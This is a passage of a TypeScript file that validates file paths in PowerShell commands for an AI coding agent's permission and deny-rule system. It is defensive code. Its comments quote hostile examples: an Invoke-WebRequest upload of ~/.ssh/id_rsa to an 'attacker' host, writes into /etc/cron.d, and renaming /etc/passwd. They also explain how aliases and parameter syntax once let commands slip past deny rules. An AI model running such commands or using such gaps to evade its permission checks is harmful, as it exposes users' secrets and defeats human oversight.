2050 lines
71 KiB
TypeScript
2050 lines
71 KiB
TypeScript
/**
|
||
* PowerShell-specific path validation for command arguments.
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*
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* Extracts file paths from PowerShell commands using the AST parser
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* and validates they stay within allowed project directories.
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* Follows the same patterns as BashTool/pathValidation.ts.
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*/
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import { homedir } from 'os'
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import { isAbsolute, resolve } from 'path'
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import type { ToolPermissionContext } from '../../Tool.js'
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import type { PermissionRule } from '../../types/permissions.js'
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import { getCwd } from '../../utils/cwd.js'
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import {
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getFsImplementation,
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safeResolvePath,
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} from '../../utils/fsOperations.js'
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import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js'
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import {
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allWorkingDirectories,
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checkEditableInternalPath,
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checkPathSafetyForAutoEdit,
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checkReadableInternalPath,
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matchingRuleForInput,
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pathInAllowedWorkingPath,
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} from '../../utils/permissions/filesystem.js'
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import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
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import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
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import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
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import {
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isDangerousRemovalPath,
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isPathInSandboxWriteAllowlist,
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} from '../../utils/permissions/pathValidation.js'
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import { getPlatform } from '../../utils/platform.js'
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import type {
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ParsedCommandElement,
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ParsedPowerShellCommand,
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} from '../../utils/powershell/parser.js'
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import {
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isNullRedirectionTarget,
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isPowerShellParameter,
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} from '../../utils/powershell/parser.js'
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import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js'
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import { resolveToCanonical } from './readOnlyValidation.js'
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const MAX_DIRS_TO_LIST = 5
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// PowerShell wildcards are only * ? [ ] — braces are LITERAL characters
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// (no brace expansion). Including {} mis-routed paths like `./{x}/passwd`
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// through glob-base truncation instead of full-path symlink resolution.
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const GLOB_PATTERN_REGEX = /[*?[\]]/
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type FileOperationType = 'read' | 'write' | 'create'
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type PathCheckResult = {
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allowed: boolean
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decisionReason?: import('../../utils/permissions/PermissionResult.js').PermissionDecisionReason
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}
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type ResolvedPathCheckResult = PathCheckResult & {
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resolvedPath: string
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}
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/**
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* Per-cmdlet parameter configuration.
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*
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* Each entry declares:
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* - operationType: whether this cmdlet reads or writes to the filesystem
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* - pathParams: parameters that accept file paths (validated against allowed directories)
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* - knownSwitches: switch parameters (take NO value) — next arg is NOT consumed
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* - knownValueParams: value-taking parameters that are NOT paths — next arg IS consumed
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* but NOT validated as a path (e.g., -Encoding UTF8, -Filter *.txt)
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*
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* SECURITY MODEL: Any -Param NOT in one of these three sets forces
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* hasUnvalidatablePathArg → ask. This ends the KNOWN_SWITCH_PARAMS whack-a-mole
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* where every missing switch caused the unknown-param heuristic to swallow the
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* next arg (potentially the positional path). Now, Tier 2 cmdlets only auto-allow
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* with invocations we fully understand.
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*
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* Sources:
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* - (Get-Command <cmdlet>).Parameters on Windows PowerShell 5.1
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* - PS 6+ additions from official docs (e.g., -AsByteStream, -NoEmphasis)
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*
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* NOTE: Common parameters (-Verbose, -ErrorAction, etc.) are NOT listed here;
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* they are merged in from COMMON_SWITCHES / COMMON_VALUE_PARAMS at lookup time.
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*
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* Parameter names are lowercase with leading dash to match runtime comparison.
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*/
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type CmdletPathConfig = {
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operationType: FileOperationType
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/** Parameter names that accept file paths (validated against allowed directories) */
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pathParams: string[]
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/** Switch parameters that take no value (next arg is NOT consumed) */
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knownSwitches: string[]
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/** Value-taking parameters that are not paths (next arg IS consumed, not path-validated) */
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knownValueParams: string[]
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/**
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* Parameter names that accept a leaf filename resolved by PowerShell
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* relative to ANOTHER parameter (not cwd). Safe to extract only when the
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* value is a simple leaf (no `/`, `\`, `.`, `..`). Non-leaf values are
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* flagged as unvalidatable because validatePath resolves against cwd, not
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* the actual base — joining against -Path would need cross-parameter
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* tracking.
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*/
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leafOnlyPathParams?: string[]
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/**
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* Number of leading positional arguments to skip (NOT extracted as paths).
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* Used for cmdlets where positional-0 is a non-path value — e.g.,
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* Invoke-WebRequest's positional -Uri is a URL, not a local filesystem path.
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* Without this, `iwr http://example.com` extracts `http://example.com` as
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* a path, and validatePath's provider-path regex (^[a-z]{2,}:) misfires on
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* the URL scheme with a confusing "non-filesystem provider" message.
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*/
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positionalSkip?: number
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/**
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* When true, this cmdlet only writes to disk when a pathParam is present.
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* Without a path (e.g., `Invoke-WebRequest https://example.com` with no
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* -OutFile), it's effectively a read operation — output goes to the pipeline,
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* not the filesystem. Skips the "write with no target path" forced-ask.
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* Cmdlets like Set-Content that ALWAYS write should NOT set this.
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*/
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optionalWrite?: boolean
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}
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const CMDLET_PATH_CONFIG: Record<string, CmdletPathConfig> = {
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// ─── Write/create operations ──────────────────────────────────────────────
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'set-content': {
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operationType: 'write',
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// -PSPath and -LP are runtime aliases for -LiteralPath on all provider
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// cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the
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// unknown-param branch → path trapped → paths=[] → deny never consulted.
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pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
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knownSwitches: [
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'-passthru',
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'-force',
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'-whatif',
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'-confirm',
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'-usetransaction',
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'-nonewline',
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'-asbytestream', // PS 6+
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],
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knownValueParams: [
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'-value',
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'-filter',
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'-include',
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'-exclude',
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'-credential',
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'-encoding',
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'-stream',
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],
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},
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'add-content': {
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operationType: 'write',
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pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
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knownSwitches: [
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'-passthru',
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'-force',
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'-whatif',
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'-confirm',
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'-usetransaction',
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'-nonewline',
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'-asbytestream', // PS 6+
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],
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knownValueParams: [
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'-value',
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'-filter',
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'-include',
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'-exclude',
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'-credential',
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'-encoding',
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'-stream',
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],
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},
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'remove-item': {
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operationType: 'write',
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pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
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knownSwitches: [
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'-recurse',
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'-force',
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'-whatif',
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'-confirm',
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'-usetransaction',
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],
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knownValueParams: [
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'-filter',
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'-include',
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'-exclude',
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'-credential',
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'-stream',
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],
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},
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'clear-content': {
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operationType: 'write',
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pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
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knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
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knownValueParams: [
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'-filter',
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'-include',
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'-exclude',
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'-credential',
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'-stream',
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],
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},
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// Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level
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// deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only
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// *asked* for `Out-File /etc/x`. All four are write cmdlets that accept
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// file paths positionally.
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'out-file': {
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operationType: 'write',
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// Out-File uses -FilePath (position 0). -Path is PowerShell's documented
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// ALIAS for -FilePath — must be in pathParams or `Out-File -Path:./x`
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// (colon syntax, one token) falls to unknown-param → value trapped →
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// paths=[] → Edit deny never consulted → ask (fail-safe but deny downgrade).
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pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
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knownSwitches: [
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'-append',
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'-force',
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'-noclobber',
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'-nonewline',
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'-whatif',
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'-confirm',
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],
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knownValueParams: ['-inputobject', '-encoding', '-width'],
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},
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'tee-object': {
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operationType: 'write',
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// Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path.
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pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
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knownSwitches: ['-append'],
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knownValueParams: ['-inputobject', '-variable', '-encoding'],
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},
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'export-csv': {
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operationType: 'write',
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pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
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knownSwitches: [
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'-append',
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'-force',
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'-noclobber',
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'-notypeinformation',
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'-includetypeinformation',
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'-useculture',
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'-noheader',
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'-whatif',
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'-confirm',
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],
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knownValueParams: [
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||
'-inputobject',
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||
'-delimiter',
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||
'-encoding',
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||
'-quotefields',
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'-usequotes',
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||
],
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||
},
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||
'export-clixml': {
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operationType: 'write',
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pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
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knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'],
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||
knownValueParams: ['-inputobject', '-depth', '-encoding'],
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},
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// New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` →
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// resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES → not in
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// config → early return {paths:[], 'read'} → Edit deny never consulted.
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//
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// Copy-Item/Move-Item have DUAL path params (-Path source, -Destination
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// dest). operationType:'write' is imperfect — source is semantically a read
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||
// — but it means BOTH paths get Edit-deny validation, which is strictly
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// safer than extracting neither. A per-param operationType would be ideal
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// but that's a bigger schema change; blunt 'write' closes the gap now.
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'new-item': {
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operationType: 'write',
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// -Path is position 0. -Name (position 1) is resolved by PowerShell
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||
// RELATIVE TO -Path (per MS docs: "you can specify the path of the new
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||
// item in Name"), including `..` traversal. We resolve against CWD
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||
// (validatePath L930), not -Path — so `New-Item -Path /allowed
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||
// -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil,
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||
// but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss
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||
// the deny rule. This is a deny→ask downgrade, not fail-safe.
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//
|
||
// -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are
|
||
// extracted (resolves to cwd/foo.txt — slightly wrong, but -Path
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||
// extraction covers the directory, and a leaf can't traverse);
|
||
// any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg →
|
||
// ask. Joining -Name against -Path would be correct but needs
|
||
// cross-parameter tracking — out of scope here.
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
leafOnlyPathParams: ['-name'],
|
||
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
|
||
knownValueParams: ['-itemtype', '-value', '-credential', '-type'],
|
||
},
|
||
'copy-item': {
|
||
operationType: 'write',
|
||
// -Path (position 0) is source, -Destination (position 1) is dest.
|
||
// Both extracted; both validated as write.
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
|
||
knownSwitches: [
|
||
'-container',
|
||
'-force',
|
||
'-passthru',
|
||
'-recurse',
|
||
'-whatif',
|
||
'-confirm',
|
||
'-usetransaction',
|
||
],
|
||
knownValueParams: [
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-credential',
|
||
'-fromsession',
|
||
'-tosession',
|
||
],
|
||
},
|
||
'move-item': {
|
||
operationType: 'write',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
|
||
knownSwitches: [
|
||
'-force',
|
||
'-passthru',
|
||
'-whatif',
|
||
'-confirm',
|
||
'-usetransaction',
|
||
],
|
||
knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
|
||
},
|
||
// rename-item/set-item: same class — ren/rni/si in COMMON_ALIASES, neither
|
||
// was in config. `ren /etc/passwd passwd.bak` → resolves to rename-item
|
||
// → not in config → {paths:[], 'read'} → Edit deny bypassed. This closes
|
||
// the COMMON_ALIASES→CMDLET_PATH_CONFIG coverage audit: every
|
||
// write-cmdlet alias now resolves to a config entry.
|
||
'rename-item': {
|
||
operationType: 'write',
|
||
// -Path position 0, -NewName position 1. -NewName is leaf-only (docs:
|
||
// "You cannot specify a new drive or a different path") and Rename-Item
|
||
// explicitly rejects `..` in it — so knownValueParams is correct here,
|
||
// unlike New-Item -Name which accepts traversal.
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: [
|
||
'-force',
|
||
'-passthru',
|
||
'-whatif',
|
||
'-confirm',
|
||
'-usetransaction',
|
||
],
|
||
knownValueParams: [
|
||
'-newname',
|
||
'-credential',
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
],
|
||
},
|
||
'set-item': {
|
||
operationType: 'write',
|
||
// FileSystem provider throws NotSupportedException for Set-Item content,
|
||
// so the practical write surface is registry/env/function/alias providers.
|
||
// Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at
|
||
// step 3.5 in powershellPermissions.ts, but classifying set-item as write
|
||
// here is defense-in-depth — powershellSecurity.ts:379 already lists it
|
||
// in ENV_WRITE_CMDLETS; this makes pathValidation consistent.
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: [
|
||
'-force',
|
||
'-passthru',
|
||
'-whatif',
|
||
'-confirm',
|
||
'-usetransaction',
|
||
],
|
||
knownValueParams: [
|
||
'-value',
|
||
'-credential',
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
],
|
||
},
|
||
// ─── Read operations ──────────────────────────────────────────────────────
|
||
'get-content': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: [
|
||
'-force',
|
||
'-usetransaction',
|
||
'-wait',
|
||
'-raw',
|
||
'-asbytestream', // PS 6+
|
||
],
|
||
knownValueParams: [
|
||
'-readcount',
|
||
'-totalcount',
|
||
'-tail',
|
||
'-first', // alias for -TotalCount
|
||
'-head', // alias for -TotalCount
|
||
'-last', // alias for -Tail
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-credential',
|
||
'-delimiter',
|
||
'-encoding',
|
||
'-stream',
|
||
],
|
||
},
|
||
'get-childitem': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: [
|
||
'-recurse',
|
||
'-force',
|
||
'-name',
|
||
'-usetransaction',
|
||
'-followsymlink',
|
||
'-directory',
|
||
'-file',
|
||
'-hidden',
|
||
'-readonly',
|
||
'-system',
|
||
],
|
||
knownValueParams: [
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-depth',
|
||
'-attributes',
|
||
'-credential',
|
||
],
|
||
},
|
||
'get-item': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-force', '-usetransaction'],
|
||
knownValueParams: [
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-credential',
|
||
'-stream',
|
||
],
|
||
},
|
||
'get-itemproperty': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-usetransaction'],
|
||
knownValueParams: [
|
||
'-name',
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-credential',
|
||
],
|
||
},
|
||
'get-itempropertyvalue': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-usetransaction'],
|
||
knownValueParams: [
|
||
'-name',
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-credential',
|
||
],
|
||
},
|
||
'get-filehash': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: [],
|
||
knownValueParams: ['-algorithm', '-inputstream'],
|
||
},
|
||
'get-acl': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'],
|
||
knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'],
|
||
},
|
||
'format-hex': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-raw'],
|
||
knownValueParams: [
|
||
'-inputobject',
|
||
'-encoding',
|
||
'-count', // PS 6+
|
||
'-offset', // PS 6+
|
||
],
|
||
},
|
||
'test-path': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-isvalid', '-usetransaction'],
|
||
knownValueParams: [
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-pathtype',
|
||
'-credential',
|
||
'-olderthan',
|
||
'-newerthan',
|
||
],
|
||
},
|
||
'resolve-path': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-relative', '-usetransaction', '-force'],
|
||
knownValueParams: ['-credential', '-relativebasepath'],
|
||
},
|
||
'convert-path': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-usetransaction'],
|
||
knownValueParams: [],
|
||
},
|
||
'select-string': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: [
|
||
'-simplematch',
|
||
'-casesensitive',
|
||
'-quiet',
|
||
'-list',
|
||
'-notmatch',
|
||
'-allmatches',
|
||
'-noemphasis', // PS 7+
|
||
'-raw', // PS 7+
|
||
],
|
||
knownValueParams: [
|
||
'-inputobject',
|
||
'-pattern',
|
||
'-include',
|
||
'-exclude',
|
||
'-encoding',
|
||
'-context',
|
||
'-culture', // PS 7+
|
||
],
|
||
},
|
||
'set-location': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-passthru', '-usetransaction'],
|
||
knownValueParams: ['-stackname'],
|
||
},
|
||
'push-location': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-passthru', '-usetransaction'],
|
||
knownValueParams: ['-stackname'],
|
||
},
|
||
'pop-location': {
|
||
operationType: 'read',
|
||
// Pop-Location has no -Path/-LiteralPath (it pops from the stack),
|
||
// but we keep the entry so it passes through path validation gracefully.
|
||
pathParams: [],
|
||
knownSwitches: ['-passthru', '-usetransaction'],
|
||
knownValueParams: ['-stackname'],
|
||
},
|
||
'select-xml': {
|
||
operationType: 'read',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: [],
|
||
knownValueParams: ['-xml', '-content', '-xpath', '-namespace'],
|
||
},
|
||
'get-winevent': {
|
||
operationType: 'read',
|
||
// Get-WinEvent only has -Path, no -LiteralPath
|
||
pathParams: ['-path'],
|
||
knownSwitches: ['-force', '-oldest'],
|
||
knownValueParams: [
|
||
'-listlog',
|
||
'-logname',
|
||
'-listprovider',
|
||
'-providername',
|
||
'-maxevents',
|
||
'-computername',
|
||
'-credential',
|
||
'-filterxpath',
|
||
'-filterxml',
|
||
'-filterhashtable',
|
||
],
|
||
},
|
||
// Write-path cmdlets with output parameters. Without these entries,
|
||
// -OutFile / -DestinationPath would write to arbitrary paths unvalidated.
|
||
'invoke-webrequest': {
|
||
operationType: 'write',
|
||
// -OutFile is the write target; -InFile is a read source (uploads a local
|
||
// file). Both are in pathParams so Edit deny rules are consulted (this
|
||
// config is operationType:write → permissionType:edit). A user with
|
||
// Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST
|
||
// -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted
|
||
// for write-type cmdlets — that's a known limitation of the
|
||
// operationType→permissionType mapping.
|
||
pathParams: ['-outfile', '-infile'],
|
||
positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
|
||
optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only
|
||
knownSwitches: [
|
||
'-allowinsecureredirect',
|
||
'-allowunencryptedauthentication',
|
||
'-disablekeepalive',
|
||
'-nobodyprogress',
|
||
'-passthru',
|
||
'-preservefileauthorizationmetadata',
|
||
'-resume',
|
||
'-skipcertificatecheck',
|
||
'-skipheadervalidation',
|
||
'-skiphttperrorcheck',
|
||
'-usebasicparsing',
|
||
'-usedefaultcredentials',
|
||
],
|
||
knownValueParams: [
|
||
'-uri',
|
||
'-method',
|
||
'-body',
|
||
'-contenttype',
|
||
'-headers',
|
||
'-maximumredirection',
|
||
'-maximumretrycount',
|
||
'-proxy',
|
||
'-proxycredential',
|
||
'-retryintervalsec',
|
||
'-sessionvariable',
|
||
'-timeoutsec',
|
||
'-token',
|
||
'-transferencoding',
|
||
'-useragent',
|
||
'-websession',
|
||
'-credential',
|
||
'-authentication',
|
||
'-certificate',
|
||
'-certificatethumbprint',
|
||
'-form',
|
||
'-httpversion',
|
||
],
|
||
},
|
||
'invoke-restmethod': {
|
||
operationType: 'write',
|
||
// -OutFile is the write target; -InFile is a read source (uploads a local
|
||
// file). Both must be in pathParams so deny rules are consulted.
|
||
pathParams: ['-outfile', '-infile'],
|
||
positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
|
||
optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only
|
||
knownSwitches: [
|
||
'-allowinsecureredirect',
|
||
'-allowunencryptedauthentication',
|
||
'-disablekeepalive',
|
||
'-followrellink',
|
||
'-nobodyprogress',
|
||
'-passthru',
|
||
'-preservefileauthorizationmetadata',
|
||
'-resume',
|
||
'-skipcertificatecheck',
|
||
'-skipheadervalidation',
|
||
'-skiphttperrorcheck',
|
||
'-usebasicparsing',
|
||
'-usedefaultcredentials',
|
||
],
|
||
knownValueParams: [
|
||
'-uri',
|
||
'-method',
|
||
'-body',
|
||
'-contenttype',
|
||
'-headers',
|
||
'-maximumfollowrellink',
|
||
'-maximumredirection',
|
||
'-maximumretrycount',
|
||
'-proxy',
|
||
'-proxycredential',
|
||
'-responseheaderstvariable',
|
||
'-retryintervalsec',
|
||
'-sessionvariable',
|
||
'-statuscodevariable',
|
||
'-timeoutsec',
|
||
'-token',
|
||
'-transferencoding',
|
||
'-useragent',
|
||
'-websession',
|
||
'-credential',
|
||
'-authentication',
|
||
'-certificate',
|
||
'-certificatethumbprint',
|
||
'-form',
|
||
'-httpversion',
|
||
],
|
||
},
|
||
'expand-archive': {
|
||
operationType: 'write',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
|
||
knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'],
|
||
knownValueParams: [],
|
||
},
|
||
'compress-archive': {
|
||
operationType: 'write',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
|
||
knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'],
|
||
knownValueParams: ['-compressionlevel'],
|
||
},
|
||
// *-ItemProperty cmdlets: primary use is the Registry provider (set/new/
|
||
// remove a registry VALUE under a key). Provider-qualified paths (HKLM:\,
|
||
// HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts.
|
||
// Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring
|
||
// set-item's rationale.
|
||
'set-itemproperty': {
|
||
operationType: 'write',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: [
|
||
'-passthru',
|
||
'-force',
|
||
'-whatif',
|
||
'-confirm',
|
||
'-usetransaction',
|
||
],
|
||
knownValueParams: [
|
||
'-name',
|
||
'-value',
|
||
'-type',
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-credential',
|
||
'-inputobject',
|
||
],
|
||
},
|
||
'new-itemproperty': {
|
||
operationType: 'write',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
|
||
knownValueParams: [
|
||
'-name',
|
||
'-value',
|
||
'-propertytype',
|
||
'-type',
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-credential',
|
||
],
|
||
},
|
||
'remove-itemproperty': {
|
||
operationType: 'write',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
|
||
knownValueParams: [
|
||
'-name',
|
||
'-filter',
|
||
'-include',
|
||
'-exclude',
|
||
'-credential',
|
||
],
|
||
},
|
||
'clear-item': {
|
||
operationType: 'write',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
|
||
knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
|
||
},
|
||
'export-alias': {
|
||
operationType: 'write',
|
||
pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
|
||
knownSwitches: [
|
||
'-append',
|
||
'-force',
|
||
'-noclobber',
|
||
'-passthru',
|
||
'-whatif',
|
||
'-confirm',
|
||
],
|
||
knownValueParams: ['-name', '-description', '-scope', '-as'],
|
||
},
|
||
}
|
||
|
||
/**
|
||
* Checks if a lowercase parameter name (with leading dash) matches any entry
|
||
* in the given param list, accounting for PowerShell's prefix-matching behavior
|
||
* (e.g., -Lit matches -LiteralPath).
|
||
*/
|
||
function matchesParam(paramLower: string, paramList: string[]): boolean {
|
||
for (const p of paramList) {
|
||
if (
|
||
p === paramLower ||
|
||
(paramLower.length > 1 && p.startsWith(paramLower))
|
||
) {
|
||
return true
|
||
}
|
||
}
|
||
return false
|
||
}
|
||
|
||
/**
|
||
* Returns true if a colon-syntax value contains expression constructs that
|
||
* mask the real runtime path (arrays, subexpressions, variables, backtick
|
||
* escapes). The outer CommandParameterAst 'Parameter' element type hides
|
||
* these from our AST walk, so we must detect them textually.
|
||
*
|
||
* Used in three branches of extractPathsFromCommand: pathParams,
|
||
* leafOnlyPathParams, and the unknown-param defense-in-depth branch.
|
||
*/
|
||
function hasComplexColonValue(rawValue: string): boolean {
|
||
return (
|
||
rawValue.includes(',') ||
|
||
rawValue.startsWith('(') ||
|
||
rawValue.startsWith('[') ||
|
||
rawValue.includes('`') ||
|
||
rawValue.includes('@(') ||
|
||
rawValue.startsWith('@{') ||
|
||
rawValue.includes('$')
|
||
)
|
||
}
|
||
|
||
function formatDirectoryList(directories: string[]): string {
|
||
const dirCount = directories.length
|
||
if (dirCount <= MAX_DIRS_TO_LIST) {
|
||
return directories.map(dir => `'${dir}'`).join(', ')
|
||
}
|
||
const firstDirs = directories
|
||
.slice(0, MAX_DIRS_TO_LIST)
|
||
.map(dir => `'${dir}'`)
|
||
.join(', ')
|
||
return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more`
|
||
}
|
||
|
||
/**
|
||
* Expands tilde (~) at the start of a path to the user's home directory.
|
||
*/
|
||
function expandTilde(filePath: string): string {
|
||
if (
|
||
filePath === '~' ||
|
||
filePath.startsWith('~/') ||
|
||
filePath.startsWith('~\\')
|
||
) {
|
||
return homedir() + filePath.slice(1)
|
||
}
|
||
return filePath
|
||
}
|
||
|
||
/**
|
||
* Checks the raw user-provided path (pre-realpath) for dangerous removal
|
||
* targets. safeResolvePath/realpathSync canonicalizes in ways that defeat
|
||
* isDangerousRemovalPath: on Windows '/' → 'C:\' (fails the === '/' check);
|
||
* on macOS homedir() may be under /var which realpathSync rewrites to
|
||
* /private/var (fails the === homedir() check). Checking the tilde-expanded,
|
||
* backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr)
|
||
* as the user typed them.
|
||
*/
|
||
export function isDangerousRemovalRawPath(filePath: string): boolean {
|
||
const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace(
|
||
/\\/g,
|
||
'/',
|
||
)
|
||
return isDangerousRemovalPath(expanded)
|
||
}
|
||
|
||
export function dangerousRemovalDeny(path: string): PermissionResult {
|
||
return {
|
||
behavior: 'deny',
|
||
message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`,
|
||
decisionReason: {
|
||
type: 'other',
|
||
reason: 'Removal targets a protected system path',
|
||
},
|
||
}
|
||
}
|
||
|
||
/**
|
||
* Checks if a resolved path is allowed for the given operation type.
|
||
* Mirrors the logic in BashTool/pathValidation.ts isPathAllowed.
|
||
*/
|
||
function isPathAllowed(
|
||
resolvedPath: string,
|
||
context: ToolPermissionContext,
|
||
operationType: FileOperationType,
|
||
precomputedPathsToCheck?: readonly string[],
|
||
): PathCheckResult {
|
||
const permissionType = operationType === 'read' ? 'read' : 'edit'
|
||
|
||
// 1. Check deny rules first
|
||
const denyRule = matchingRuleForInput(
|
||
resolvedPath,
|
||
context,
|
||
permissionType,
|
||
'deny',
|
||
)
|
||
if (denyRule !== null) {
|
||
return {
|
||
allowed: false,
|
||
decisionReason: { type: 'rule', rule: denyRule },
|
||
}
|
||
}
|
||
|
||
// 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs)
|
||
// This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory
|
||
// and internal editable paths live under ~/.claude/ — matching the ordering in
|
||
// checkWritePermissionForTool (filesystem.ts step 1.5)
|
||
if (operationType !== 'read') {
|
||
const internalEditResult = checkEditableInternalPath(resolvedPath, {})
|
||
if (internalEditResult.behavior === 'allow') {
|
||
return {
|
||
allowed: true,
|
||
decisionReason: internalEditResult.decisionReason,
|
||
}
|
||
}
|
||
}
|
||
|
||
// 2.5. For write/create operations, check safety validations
|
||
if (operationType !== 'read') {
|
||
const safetyCheck = checkPathSafetyForAutoEdit(
|
||
resolvedPath,
|
||
precomputedPathsToCheck,
|
||
)
|
||
if (!safetyCheck.safe) {
|
||
return {
|
||
allowed: false,
|
||
decisionReason: {
|
||
type: 'safetyCheck',
|
||
reason: safetyCheck.message,
|
||
classifierApprovable: safetyCheck.classifierApprovable,
|
||
},
|
||
}
|
||
}
|
||
}
|
||
|
||
// 3. Check if path is in allowed working directory
|
||
const isInWorkingDir = pathInAllowedWorkingPath(
|
||
resolvedPath,
|
||
context,
|
||
precomputedPathsToCheck,
|
||
)
|
||
if (isInWorkingDir) {
|
||
if (operationType === 'read' || context.mode === 'acceptEdits') {
|
||
return { allowed: true }
|
||
}
|
||
}
|
||
|
||
// 3.5. For read operations, check internal readable paths
|
||
if (operationType === 'read') {
|
||
const internalReadResult = checkReadableInternalPath(resolvedPath, {})
|
||
if (internalReadResult.behavior === 'allow') {
|
||
return {
|
||
allowed: true,
|
||
decisionReason: internalReadResult.decisionReason,
|
||
}
|
||
}
|
||
}
|
||
|
||
// 3.7. For write/create operations to paths OUTSIDE the working directory,
|
||
// check the sandbox write allowlist. When the sandbox is enabled, users
|
||
// have explicitly configured writable directories (e.g. /tmp/claude/) —
|
||
// treat these as additional allowed write directories so redirects/Out-File/
|
||
// New-Item don't prompt unnecessarily. Paths IN the working directory are
|
||
